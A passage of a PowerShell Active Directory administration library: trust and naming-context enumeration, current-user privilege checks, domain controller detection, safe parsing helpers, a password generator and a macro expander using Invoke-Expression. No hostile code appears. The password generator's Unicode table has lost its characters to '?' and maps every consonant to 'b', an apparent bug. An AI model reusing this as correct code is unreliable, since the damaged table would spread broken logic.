          $trusts = Get-ADSearch (Get-DE $oneDomainNC ([ref] $deList) $null $null GC) 'subTree' '(&(objectCategory=trustedDomain)(objectClass=trustedDomain)(!trustAttributes:1.2.840.113556.1.4.803:=32))' @('distinguishedName', 'trustPartner', 'trustDirection', 'trustAttributes', 'securityIdentifier')

          if ($trusts.found) {

            $trusts.result | % {

              $foundTrust = New-Object PSCustomObject
              $oneTrust = $_
        
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name ncType -Value 'trust'
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name nCName -Value $oneDomainNC
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name dnsRoot -Value (GSRS $oneTrust trustPartner)
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name sid -Value (GSRSID $oneTrust securityIdentifier)

              # Note: for a related note see above
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name foreignForest -Value (Is-NonNull $ncList)

              $trustDirection = [int] (GSRS $oneTrust trustDirection)
              DBGIF $MyInvocation.MyCommand.Name { ($trustDirection -ne 1) -and ($trustDirection -ne 2) -and ($trustDirection -ne 3) }

              if ($trustDirection -eq 1) { Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name trustDirection -Value 'inbound' }
              if ($trustDirection -eq 2) { Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name trustDirection -Value 'outbound' }
              if ($trustDirection -eq 3) { Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name trustDirection -Value 'bidirectional' }

              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name trustAttributes -Value (Get-FlagsString $global:trustFlags ([int] (GSRS $oneTrust trustAttributes)))

              $trustObjectDE = Get-DE (GSRS $oneTrust distinguishedName) ([ref] $deList)
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name nETBIOSName -Value (GDES $trustObjectDE flatName)

              $trustDomainDE = Get-DE $foundTrust.dnsRoot ([ref] $deList)
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name realNCName -Value (GDES $trustDomainDE distinguishedName)
              DBGIF $MyInvocation.MyCommand.Name { $foundTrust.sid -ne (GDESID $trustDomainDE objectSID) }

              $trustDomainRootDSE = Get-DE ('{0}/RootDSE' -f $foundTrust.dnsRoot) ([ref] $deList)
              Add-Member -InputObject $foundTrust -MemberType NoteProperty -Name forest -Value (GDES $trustDomainRootDSE rootDomainNamingContext)


              DBG ('Trust/ed/ing NC found: {0} | {1} | {2} | {3} | {4}' -f $foundTrust.ncType, $foundTrust.dnsRoot, $foundTrust.realNCName, $foundTrust.nETBIOSName, $foundTrust.trustAttributes)
              [void] $outNames.Add($foundTrust)
            }
          }

          Dispose-ADSearch ([ref] $trusts)
        }
      }

      Dispose-ADSearch ([ref] $domainNCs)
    }
  }


  if (Is-Null $ncList) { $ncList = @() }
  
  foreach ($outName in $outNames) {

    if (-not (Contains-Safe $ncList $outName @('ncType', 'dnsRoot', 'realNCName'))) {

      DBG ('NC not found yet, adding to output: {0} | {1} | {2}' -f $outName.ncType, $outName.dnsRoot, $outName.realNCName)
      [void] $ncList.Add($outName)


      if (($outName.ncType -eq 'trust') -and (Is-ValidString $outName.realNCName) -and (Contains-Safe (Split-MultiValue $outName.trustAttributes) ForestTransitive) -and (Is-Null (Obtain-ListMember $ncList @{'ncType' = 'domain'; 'dnsRoot' = $outName.dnsRoot; 'realNCName' = $outName.realNCName}))) {

        DBG ('Enum foreign forest trust NCs: {0} | {1}' -f $outName.realNCName, $outName.trustDirection)

        [void] (Get-NCNames $outName.realNCName $false $ncList)
      }
    }
  }
  

  Dispose-List ([ref] $deList)
  
  return (, $ncList)
}


function global:Get-NCName ([string] $ncName, [string] $outNameType, [string] $inNameType)
# $in/outNameType: dnsRoot, nETBIOSName, nCName
# Note that the function references rootDSE according to the $ncName specified and does not take current user's rootDSE in regard
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $ncName }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $outNameType }

  [System.Collections.ArrayList] $deList = @()
  [string] $outName = ''
  
  if ((Is-ValidString $ncName) -and (Is-ValidString $outNameType)) {

    $rootDSE = $null
    # Get-DE netBIOSName of a trusted domain/forest works well here
    Get-BasicDEs (Get-DE $ncName ([ref] $deList)) ([ref] $rootDSE) $null $null $null ([ref] $deList)

    $configDN = GDES $rootDSE configurationNamingContext
    DBG ('Configuration partition: {0}' -f $configDN)

    $partitions = Get-DE "CN=Partitions,$configDN" ([ref] $deList)
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $partitions }
    
    if (Is-NonNull $partitions) {
    
      if (Is-EmptyString $inNameType) { $inNameType = 'nCName' }
      
      $srcRes = Get-ADSearch $partitions 'subTree' ('(&(objectCategory=crossRef)(objectClass=crossRef)(systemFlags:1.2.840.113556.1.4.803:=3)({0}={1}))' -f $inNameType, $ncName) @('dnsRoot', 'nETBIOSName', 'nCName')
      
      if ($srcRes.found) {
      
        #$srcRes[1] = $srcRes[0].FindAll()
        DBGIF $MyInvocation.MyCommand.Name { $srcRes.result.Count -ne 1 }

        $outName = GSRS $srcRes.result[0] $outNameType
        DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $outName }
      }
  
      Dispose-ADSearch ([ref] $srcRes)
    }
  }
  
  Dispose-List ([ref] $deList)
  
  return $outName
}


function global:Is-LocalComputerMemberOfDomain ()
{
  [bool] $isMember = ((Is-ValidString $global:thisComputerDomain) -and ($global:thisOSRole -ne 'Workgroup Workstation') -and ($global:thisOSRole -ne 'Workgroup Server'))

  #DBGIF $MyInvocation.MyCommand.Name { $verifyOnly = Get-WMIQueryArray '.' 'SELECT * FROM Win32_NTDomain' ; (($isMember) -and (($global:thisOSRole -eq 'BDC') -or ($global:thisOSRole -eq 'PDC')) -and ((Get-CountSafe $verifyOnly) -lt 1)) -or (($isMember) -and ((Get-CountSafe $verifyOnly) -lt 2)) -or ((-not $isMember) -and ((Get-CountSafe $verifyOnly) -ne 1)) }

  DBG ('Local computer is domain member: {0}' -f $isMember)
  return $isMember
}


function global:Is-CurrentUser ([bool] $domainAccess, [bool] $localAdministrators, [bool] $domainAdmins)
{
  [bool] $result = $true

  DBGSTART
  # Note: $false to get the Thread's access token in both cases, whether the thread is or is not impersonating
  $currentPrincipal = [Security.Principal.WindowsIdentity]::GetCurrent($false)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBG ("Running under: {0} = {1}" -f $currentPrincipal.Name, $currentPrincipal.User.Value)

  DBGIF $MyInvocation.MyCommand.Name { ($currentPrincipal.User -eq 'S-1-5-20') -and ($currentPrincipal.Name -ne 'NT AUTHORITY\Network Service') }
  DBGIF $MyInvocation.MyCommand.Name { ($currentPrincipal.User -eq 'S-1-5-19') -and ($currentPrincipal.Name -ne 'NT AUTHORITY\Local Service') }
  DBGIF $MyInvocation.MyCommand.Name { ($currentPrincipal.User -eq 'S-1-5-18') -and ($currentPrincipal.Name -ne 'NT AUTHORITY\SYSTEM') }
  DBGIF $MyInvocation.MyCommand.Name { ($currentPrincipal.User -like 'S-1-5-80-?*') -and ($currentPrincipal.Name -notlike 'NT SERVICE\*') }
  DBGIF $MyInvocation.MyCommand.Name { ($currentPrincipal.User -like 'S-1-5-82-?*') -and ($currentPrincipal.Name -notlike 'IIS APPPOOL\*') }
  
  # Note: invalid condition as the user might be from a different domain
  #       than is the local domain
  #DBGIF $MyInvocation.MyCommand.Name { ($currentPrincipal.User -like "S-1-5-21-?*") -and ($currentPrincipal.User -notlike "$global:thisComputerSID-?*") -and ($currentPrincipal.Name -notlike "$global:thisComputerDomainNetBIOS\?*") }

  [bool] $isDomainMember = $false
  [bool] $isDomainController = $false
  [bool] $isNormalDomainUser = $false

  if ($domainAccess -or $domainAdmins) {

    $isDomainMember = Is-LocalComputerMemberOfDomain
    $isDomainController = Is-LocalComputerDomainController

    $isNormalDomainUser = (
                            $isDomainController -and
                            ($currentPrincipal.User.Value -like "$global:thisComputerSID-?*")
                          ) -or
                          (
                            $isDomainMember -and
                            (-not $isDomainController) -and
                            ($currentPrincipal.User.Value -like "S-1-5-21-?*") -and
                            ($currentPrincipal.User.Value -notlike "$global:thisComputerSID-?*")
                          )

  }

  if ($domainAccess) {

    $isDomainMember = Is-LocalComputerMemberOfDomain
    $isDomainController = Is-LocalComputerDomainController

    $partialResult = (
                (
                  $isDomainMember -and
                  (
                    ($currentPrincipal.Name -eq 'NT AUTHORITY\SYSTEM') -or
                    ($currentPrincipal.Name -eq 'NT AUTHORITY\Network Service') -or
                    ($currentPrincipal.Name -like 'NT SERVICE\*') -or
                    ($currentPrincipal.Name -like 'IIS APPPOOL\*')
                  )
                ) -or
                $isNormalDomainUser
                     )

    $result = $result -and $partialResult
    DBG ('Current user has domain access: {0}' -f $partialResult)
  }

  if ($localAdministrators) {

    $partialResult = Contains-Safe ($currentPrincipal.Groups | Select -Expand Value) $global:wellKnownSIDs['Administrators']

    $result = $result -and $partialResult
    DBG ('Current user is member of local Administrators: {0}' -f $partialResult)
  }

  if ($domainAdmins) {

    $partialResult = $isNormalDomainUser -and 
                     (Contains-SafeWildcard ($currentPrincipal.Groups | Select -Expand Value) ('S-1-5-21-?*{0}' -f $global:wellKnownSIDs['Domain Admins']))

    $result = $result -and $partialResult
    DBG ('Current user is member of Domain Admins: {0}' -f $partialResult)
  }


  DBG ('The current user meets the criteria: {0}' -f $result)
  return $result
}


function global:Is-LocalComputerDomainController ([bool] $rodcOnly)
{
  [bool] $isDC = ((Is-ValidString $global:thisComputerDomain) -and (($global:thisOSRole -eq 'BDC') -or ($global:thisOSRole -eq 'PDC')))
  [bool] $isRODC = $false

  if ($isDC -and $rodcOnly -and ($global:thisOSRole -eq 'BDC')) {

    [ADSI] $rodcADSI = $null
    [string] $localComputerObject = 'WinNT://./{0}$' -f $global:thisComputerNetBIOS
    DBG ('Must open the local computer object to get its UserFlags: {0}' -f $localComputerObject)
    DBGSTART
    $rodcADSI = [ADSI] $localComputerObject
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $rodcADSI }
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $rodcADSI.Guid }

    if ((Is-NonNull $rodcADSI) -and (Is-NonNull $rodcADSI.Guid)) {

      [UInt32] $dcUserFlags = $rodcADSI.UserFlags.Value
      [UInt32] $dcPrimaryGroupId = $rodcADSI.PrimaryGroupId.Value
      DBG ('We got the following local DC parameters: flags = {0} | primaryGroup = {1}' -f $dcUserFlags, $dcPrimaryGroupId)
      # Note: PARTIAL_SECRETS_ACCOUNT
      $isRODC = ($global:thisOSRole -eq 'BDC') -and ($dcUserFlags -band 0x04000000)

      DBGIF $MyInvocation.MyCommand.Name { $isRODC -and ($global:thisOSVersionNumber -lt 6.0) }
      DBGIF $MyInvocation.MyCommand.Name { $isRODC -and ($dcPrimaryGroupId -ne 521) }
    }
  }


  DBGIF $MyInvocation.MyCommand.Name { $verifyOnly = Get-WMIValue '.' 'SELECT * FROM Win32_OperatingSystem' ProductType ; ($isDC -and ($verifyOnly -ne 2)) -or ((-not $isDC) -and ($verifyOnly -eq 2)) }
  
  DBG ('Local computer is domain controller: {0} | rodc = {1}' -f $isDC, $isRODC)

  return (((-not $rodcOnly) -and $isDC) -or ($rodcOnly -and $isRODC))
}


function global:Get-LocalComputerNetBIOSDomain ()
{
  [string] $netBIOS = ''

  if (Is-LocalComputerMemberOfDomain) {

    $userDomain = [System.Environment]::UserDomainName

    if ((Is-LocalDomain $userDomain $true) -or (Is-BuiltinDomain $userDomain)) {

      # Note: I am not sure whether the method is actually robust
      #       it seems like the local computer name is always the first, the primary domain is the second
      #       and only then follow other trusted domain
      #       This is the reason why I preffer the Get-NCName method although the WMI method does not need a network connection
      #       and works well even offline

      $ntDomains = Get-WMIQueryArray '.' 'SELECT * FROM Win32_NTDomain'
      DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $ntDomains) -lt 2 }
      DBGIF $MyInvocation.MyCommand.Name { $ntDomains[0].Caption -ne $global:thisComputerNetBIOS }
      DBGIF $MyInvocation.MyCommand.Name { $ntDomains[1].Caption -like '*.*' }
      DBGIF $MyInvocation.MyCommand.Name { $ntDomains[1].DnsForestName -notlike '*.*' }

      $netBIOS = $ntDomains[1].Caption

    } else {

      $netBIOS = Get-NCName $global:thisComputerDomain 'nETBIOSName' 'dNSRoot'

      if (Is-EmptyString $netBIOS) {

        # Note: we can be offline although running under a domain identity
        $ntDomains = Get-WMIQueryArray '.' 'SELECT * FROM Win32_NTDomain'
        DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $ntDomains) -ge 2 }
        DBGIF $MyInvocation.MyCommand.Name { $ntDomains[0].Caption -eq $global:thisComputerNetBIOS }
        DBGIF $MyInvocation.MyCommand.Name { $ntDomains[1].Caption -notlike '*.*' }

        $netBIOS = $ntDomains[1].Caption
      }
    }
  }

  return $netBIOS
}


function global:Get-DomainDNfromFQDN ([string] $domainFQDN)
{
  # Offline implementation according to the http://www.ietf.org/rfc/rfc2247.txt

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $domainFQDN }
  DBGIF $MyInvocation.MyCommand.Name { $domainFQDN -notlike '*.*' }

  [string] $domainDN = ''

  if (Is-ValidString $domainFQDN) {

    DBGIF $MyInvocation.MyCommand.Name { $domainFQDN.Length -gt 64 }

    $domainNames = $domainFQDN.Split('.')
    
    DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $domainNames) -lt 1 }

    foreach ($oneDomainName in $domainNames) {

      if (Is-ValidString $domainDN) {

        $domainDN += ','
      }

      $domainDN += "DC=$oneDomainName"
    }
  }

  return $domainDN
}


function global:Is-ValidVersion ([Version] $version)
{
  return ((Is-NonNull $version) -and (($version.Major -gt 0) -or ($version.Minor -gt 0) -or ($version.Build -gt 0) -or ($version.Revision -gt 0)))
}


function global:Parse-VersionSafe ([string] $versionStr)
{
  [Version] $outVersion = $null

  if ($versionStr -match '\A\d+\Z') {

    $versionStr = '{0}.0' -f $versionStr
  }

  if ($versionStr -match '-(?:\d+)') {

    $versionStr = [regex]::Replace($versionStr, '-(?:\d+)', '0')
  }

  if (Is-ValidString $versionStr) {

    DBGSTART
    # Note: TryParse() does not exist in NetFx2 ... [void] ([Version]::TryParse($versionStr, ([ref]  $outVersion)))
    $outVersion = New-Object Version $versionStr.Split('.')
    DBGEND
  }

  if (-not (Is-ValidVersion $outVersion)) {

    $outVersion = New-Object Version '0.0.0.0'
  }

  # Note: Parse() does not exist in NetFx2 ... [Version] $finalOutVersion = [Version]::Parse(('{0}.{1}.{2}.{3}' -f ([Math]::Max(0, $outVersion.Major)), ([Math]::Max(0, $outVersion.Minor)), ([Math]::Max(0, $outVersion.Build)), ([Math]::Max(0, $outVersion.Revision))))
  [Version] $finalOutVersion = New-Object Version @(([Math]::Max(0, $outVersion.Major)), ([Math]::Max(0, $outVersion.Minor)), ([Math]::Max(0, $outVersion.Build)), ([Math]::Max(0, $outVersion.Revision)))

  return $finalOutVersion
}


function global:Parse-BoolSafe ($value)
{
  [bool] $res = $false
  
  if (Is-Null $value) {
  
    $res = $false
  
  } elseif ($value -is [bool]) {
  
    $res = $value
   
  } else {

    DBGIF ('Value is not a string: {0}' -f $value.GetType().Name) { $value -isnot [string] }
    DBGSTART
    $res = [bool]::Parse($value)
    DBGEND
  }
  
  return $res
}

function global:Parse-IntSafe ([string] $value)
{
  [int] $res = 0
  
  DBGSTART
  $res = [int]::Parse($value)
  DBGEND
  
  return $res
}

function global:Parse-DoubleSafe ([string] $value)
{
  [double] $res = 0

  DBGSTART
  $res = [double]::Parse($value, [System.Globalization.CultureInfo]::InvariantCulture)
  DBGEND

  return $res
}

function global:Parse-DateTimeSafe ([string] $value)
{
  [DateTime] $res = [DateTime]::MinValue


  $value = $value.Trim()

  if ((Is-EmptyString $value) -or ($value -eq $global:noneTimeStr)) {

    $res = [DateTime]::MinValue

  } elseif ($value -eq $global:neverTimeStr) {

    $res = [DateTime]::MaxValue

  } else {

    DBGSTART
    $res = [DateTime]::Parse($value)
    DBGEND
  }

  return $res
}

function global:Get-BasicDEs ([object] $someDEorNothing, [ref] $rootDSERef, [ref] $configRef, [ref] $schemaRef, [ref] $domainRef, [ref] $deListRef)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $rootDSERef }

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $deListRef }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $deListRef.Value }
  DBGIF $MyInvocation.MyCommand.Name { $deListRef.Value -isnot [System.Collections.ArrayList] }

  if ((Is-NonNull $rootDSERef) -and (Is-NonNull $deListRef.Value)) {

    $rootDSEPath = 'RootDSE'
    
    if (Is-NonNull $someDEorNothing) {
    
      $dcName = Get-DEServerName $someDEorNothing
      
      if (Is-ValidString $dcName) {

        $rootDSEPath = $dcName + '/RootDSE'
      }
    }

    $rootDSERef.Value = Get-DE $rootDSEPath $deListRef
    DBG ('RootDSE opened from: {0}' -f (GDES $rootDSERef.Value dNSHostName))

    if (Is-NonNull $configRef) { $configRef.Value = Get-DE (GDES $rootDSE configurationNamingContext) $deListRef }
    if (Is-NonNull $schemaRef) { $schemaRef.Value = Get-DE (GDES $rootDSE schemaNamingContext) $deListRef }
    if (Is-NonNull $domainRef) { $domainRef.Value = Get-DE (GDES $rootDSE defaultNamingContext) $deListRef }
  }
}

function global:Get-DCNamesFromNTDSDN ([string] $ntdsDN)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [hashtable] $dcNames = @{}
  [System.Collections.ArrayList] $deList = @()

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $ntdsDN }
  DBGIF $MyInvocation.MyCommand.Name { $ntdsDN -notlike 'CN=NTDS Settings,CN=*' }
  DBGIF $MyInvocation.MyCommand.Name { $ntdsDN -notmatch (Get-NormalDNMatch $true) }

  if (Is-ValidString $ntdsDN) {

    $ntdsDE = Get-DE $ntdsDN ([ref] $deList)
    $serverDE = Get-DE ($ntdsDE.Parent) ([ref] $deList)
    $serverDN = GDES $serverDE distinguishedName
    $dcDN = GDES $serverDE serverReference
    $dcDE = Get-DE $dcDN ([ref] $deList)
    $dcFQDN = GDES $serverDE dNSHostName
    DBGIF $MyInvocation.MyCommand.Name { $dcFQDN -ne (GDES $dcDE dNSHostName) }
    $dcFlags = GDEF $dcDE $uacFlags userAccountControl
    
    # Note: cannot do this, as the DC may not be always online
    #$rootDSE = Get-DE "LDAP://$dcFQDN/RootDSE" ([ref] $deList)
    #DBGIF $MyInvocation.MyCommand.Name { $dcFQDN -ne (GDES $rootDSE dNSHostName) }

    $dcNames['fqdn'] = $dcFQDN
    $dcNames['server'] = $serverDN
    $dcNames['ntds'] = $ntdsDN
    $dcNames['dn'] = $dcDN
    $dcNames['rodc'] = Has-MultiValue $dcFlags 'RODC'
    $dcNames['os'] = GDES $dcDE operatingSystem
    $dcNames['version'] = GDES $dcDE operatingSystemVersion
  }

  Dispose-List ([ref] $deList)

  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $dcNames['fqdn'] }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $dcNames['server'] }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $dcNames['ntds'] }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $dcNames['dn'] }

  DBG ('DC names: fqdn = {0} | dn = {1} | server = {2} | ntds = {3} | isRODC = {4}' -f $dcNames['fqdn'], $dcNames['dn'], $dcNames['server'], $dcNames['ntds'], $dcNames['rodc'])
  return $dcNames
}

<# Note: probably nobody is using this specialized function anymore
         If you want to return it into service, the implementation is incorrect 
         and needs some mending
function global:Get-PDC ([object] $domainDE, [ref] $allNames)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $domainDE }

  [string] $pdcFQDN = ''
  [System.Collections.ArrayList] $deList = @()
  
  if (Is-NonNull $domainDE) {
  
    #$myRootDSE = Get-DE ($de.psbase.Options.GetCurrentServerName() + '/RootDSE') ([ref] $deList)
    #$myRootDSE = $rootDSE
    
    #$domainDE = Get-DE (GDES $myRootDSE defaultNamingContext) ([ref] $deList)

    $pdcNTDSDN = GDES $domainDE fsmoRoleOwner
    
    $dcNames = Get-DCNamesFromNTDSDN $pdcNTDSDN

    $pdcFQDN = $dcNames['fqdn']
  }
  
  Dispose-List ([ref] $deList)
  
  return $pdcFQDN
}
#>

function global:Get-CryptoRandom ([ValidateScript({ ($_ -ge 1) -and ($_ -le 256) })] [int] $values)
{
  [System.Security.Cryptography.RNGCryptoServiceProvider] $provider = $null
  $provider = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
  [byte[]] $oneByte = @(0)
  
  $provider.GetBytes($oneByte)

  # Note: with NetFx 2.0 there is no Dispose() method
  if ($PSVersionTable.CLRVersion.Major -gt 2) {

    $provider.Dispose()
    $provider = $null
  }

  return ($oneByte[0] % $values)
}

function global:Generate-Password ([int] $minLength = 15, [switch] $escapeXml, [switch] $useOnlyEasySpecials, [switch] $useOnlySuperEasySpecials, [switch] $oneNumberOnly, [switch] $oneSpecialOnly, [switch] $oneUppercaseOnly)
{
  [Text.StringBuilder] $password = New-Object System.Text.StringBuilder

  [string[]] $charsASCIIConsonants = @('b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'z')
  [string[]] $charsASCIIVowels = @('a', 'e', 'i', 'o', 'u', 'y')
  [string[]] $charsASCIILetters = @( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z')
  [string[]] $charsNumbers = @('1', '2', '3', '4', '5', '6', '7', '8', '9', '0')

  [string[]] $charsASCIISpecialsAll = @(' ', '!', '"', '#', '$', '%', '&', '''', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\', ']', '^', '_', '`', '{', '|', '}', '~');
  # Note: some other specials to consider: ? ? ? ? ? ? ? ? ? ?   ? ? ? ? ? ? ? ? ? ? ?

  [string[]] $charsASCIISpecialsEasy = @(' ', '!', '#', '$', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', ':', '<', '=', '>', '?', '@', '\', '_');
  [string[]] $charsASCIISpecialsSuperEasy = @('!', '*', '+', ',', '-', '.', '/', ':', '?', '_');

  if ($useOnlyEasySpecials) {

    [string[]] $charsASCIISpecials = $charsASCIISpecialsEasy

  } elseif ($useOnlySuperEasySpecials) {
  
    [string[]] $charsASCIISpecials = $charsASCIISpecialsSuperEasy

  } else {

    [string[]] $charsASCIISpecials = $charsASCIISpecialsAll
  }


  #
  #

  [hashtable] $unicodeReplacements = @{

     'a' = @('a', 'A',   '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?' );
     'e' = @('e', 'E',   '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?' );
     'i' = @('i', 'I',   '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?' );
     'o' = @('o', 'O',   '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?' );
     'u' = @('u', 'U',   '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?' );
     'y' = @('y', 'Y',   '?', '?', '?', '?', '?', '?', '?', '?' );

     'b' = @('b', 'B');
     'c' = @('b', 'C',   '?', '?', '?', '?', '?', '?', '?', '?' );
     'd' = @('b', 'D',   '?', '?', '?', '?' );
     'f' = @('b', 'F');
     'g' = @('b', 'G',   '?', '?', '?', '?');
     'h' = @('b', 'H',   '?', '?' );
     'j' = @('b', 'J',   '?', '?' );
     'k' = @('b', 'K');
     'l' = @('b', 'L',   '?', '?', '?', '?' );
     'm' = @('b', 'M');
     'n' = @('b', 'N',   '?', '?', '?', '?', '?', '?' );
     'p' = @('b', 'P');
     'q' = @('b', 'Q');
     'r' = @('b', 'R',   '?', '?' );
     's' = @('b', 'S',   '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?' );
     't' = @('b', 'T',   '?', '?', '?', '?', '?', '?' );
     'v' = @('b', 'V');
     'w' = @('b', 'W',   '?', '?', '?', '?', '?', '?', '?', '?' );
     'x' = @('b', 'X');
     'z' = @('b', 'Z',   '?', '?', '?', '?', '?', '?' );
  }

  #
  #

  [bool] $hitUpperCase = $false
  [bool] $hitLowerCase = $false
  [bool] $hitNumber = $false
  [bool] $hitSpecial = $false

  while ($password.Length -lt $minLength) {

    [int] $whatChance = Get-CryptoRandom -value 5

    switch ($whatChance) {

      {($_ -eq 0) -or ($_ -eq 1) -or ($_ -eq 2)}
      { 
        [int] $consonantRnd = Get-CryptoRandom -values $charsASCIIConsonants.Length
        [int] $vowelRnd = Get-CryptoRandom -values $charsASCIIVowels.Length

        [string] $consonantChar = $charsASCIIConsonants[$consonantRnd]
        [string] $vowelChar = $charsASCIIVowels[$vowelRnd]

        [void] $password.Append(('{0}{1}' -f $consonantChar, $vowelChar))
      }

      {($_ -eq 3)}
      {
        if ((-not $hitNumber) -or (-not $oneNumberOnly)) {

          [int] $numberRnd = Get-CryptoRandom -values $charsNumbers.Length
          [void] $password.Append(('{0}' -f $charsNumbers[$numberRnd]))
          $hitNumber = $true
        }
      }

      {($_ -eq 4)}
      {
        if ((-not $hitSpecial) -or (-not $oneSpecialOnly)) {

          [int] $specialRnd = Get-CryptoRandom -values $charsASCIISpecials.Length
          [void] $password.Append(('{0}' -f $charsASCIISpecials[$specialRnd]))
          $hitSpecial = $true
        }
      }
    }
  }

  for ($i = 0; $i -lt $password.Length; $i ++) {

    if ([char]::IsLetter($password.Chars($i))) {

      if ((-not $oneUppercaseOnly) -or (-not $hitUpperCase)) {

        [int] $upperCaseChance = Get-CryptoRandom -values ($minLength / 3)
        if ($upperCaseChance -eq 0) {

          $password.Chars($i) = ([string] $password.Chars($i)).ToUpper()
          $hitUpperCase = $true
      
        } else {

          $hitLowerCase = $true
        }
      
      } else {

        $hitLowerCase = $true
        break
      }
    }
  }


  if (-not $hitNumber) {

    [int] $numberRnd = Get-CryptoRandom -values $charsNumbers.Length
    [int] $insertPos = Get-CryptoRandom -values ($password.Length + 1)
    [void] $password.Insert($insertPos, $charsNumbers[$numberRnd])
  }

  if (-not $hitSpecial) {

    [int] $specialRnd = Get-CryptoRandom -values $charsASCIISpecials.Length
    [int] $insertPos = Get-CryptoRandom -values ($password.Length + 1)
    [void] $password.Insert($insertPos, $charsASCIISpecials[$specialRnd])
  }

  if (-not $hitUpperCase) {

    [int] $letterRnd = Get-CryptoRandom -values $charsASCIILetters.Length
    [int] $insertPos = Get-CryptoRandom -values ($password.Length + 1)
    [void] $password.Insert($insertPos, $charsASCIILetters[$letterRnd].ToUpper())
  }

  if (-not $hitLowerCase) {

    [int] $letterRnd = Get-CryptoRandom -values $charsASCIILetters.Length
    [int] $insertPos = Get-CryptoRandom -values ($password.Length + 1)
    [void] $password.Insert($insertPos, $charsASCIILetters[$letterRnd])
  }


  if ($escapeXml) {

    return (Escape-Xml $password.ToString())
  
  } else {

    return $password.ToString()
  }
}


function global:Replace-MacrosInString ([string] $source, [hashtable] $macros, [ref] $optionalNodeRef)
{
    [string] $outStr = $source
    [System.Xml.XmlElement] $node = $optionalNodeRef.Value
    [System.Collections.ArrayList] $macroKeys = [Collections.ArrayList] $macros.Keys

    [int] $startIdx = -1
    [int] $i = 0
    while ($i -lt $source.Length) {

      if ($source[$i] -eq '$') {

        if ($startIdx -eq -1) {

          $startIdx = $i
        
        } else {

          # Note: ignore empty macro names
          [string] $macroCandidate = $source.SubString($startIdx, ($i - $startIdx + 1))

          if (($macroCandidate -ne '') -and ($macroKeys.Contains($macroCandidate))) {

            $oneMacroParams = $macros[$macroCandidate]

            if (Is-ValidString $oneMacroParams.value) {
    
                $outStr = $outStr.Replace($oneMacroParams.ref, $oneMacroParams.value)
       
            } elseif (Is-ValidString $oneMacroParams.xpath) {

              foreach ($oneXPath in (Split-MultiValue $oneMacroParams.xpath)) {
       
                $refferencedAttr = $node.SelectSingleNode($oneXPath).'#text'

                if (Is-ValidString $refferencedAttr) { break }
              }


              DBGIF ('Referenced attribute empty: {0} | {1} | {2} | {3}' -f $oneMacroParams.xpath, $source, $outStr, $oneMacroParams.ref) { Is-EmptyString $refferencedAttr }
              #if (Is-EmptyString $refferencedAttr) { 
              #
              #  DBGIF ('Setting the empty reference attribute to a reference error value of XXXXXXXX. Just for debugging purposes') { $true }
              #  $refferencedAttr = 'XXXXXXXX'
              #}
          
              if (Is-ValidString $oneMacroParams.call) {
              
                $callExp = '$value = $refferencedAttr ; $refferencedAttr = {0}' -f $oneMacroParams.call
                DBGSTART
                Invoke-Expression $callExp -EA SilentlyContinue
                DBGER $MyInvocation.MyCommand.Name $error
                DBGEND
              }



              $outStr = $outStr.Replace($oneMacroParams.ref, $refferencedAttr)

            } elseif (Is-ValidString $oneMacroParams.callForEach) {

              $oneMacroParamsFirst = $oneMacroParams.first
              $oneMacroParamsLast = $oneMacroParams.last
              $oneMacroParamsIdx = $oneMacroParams.idx

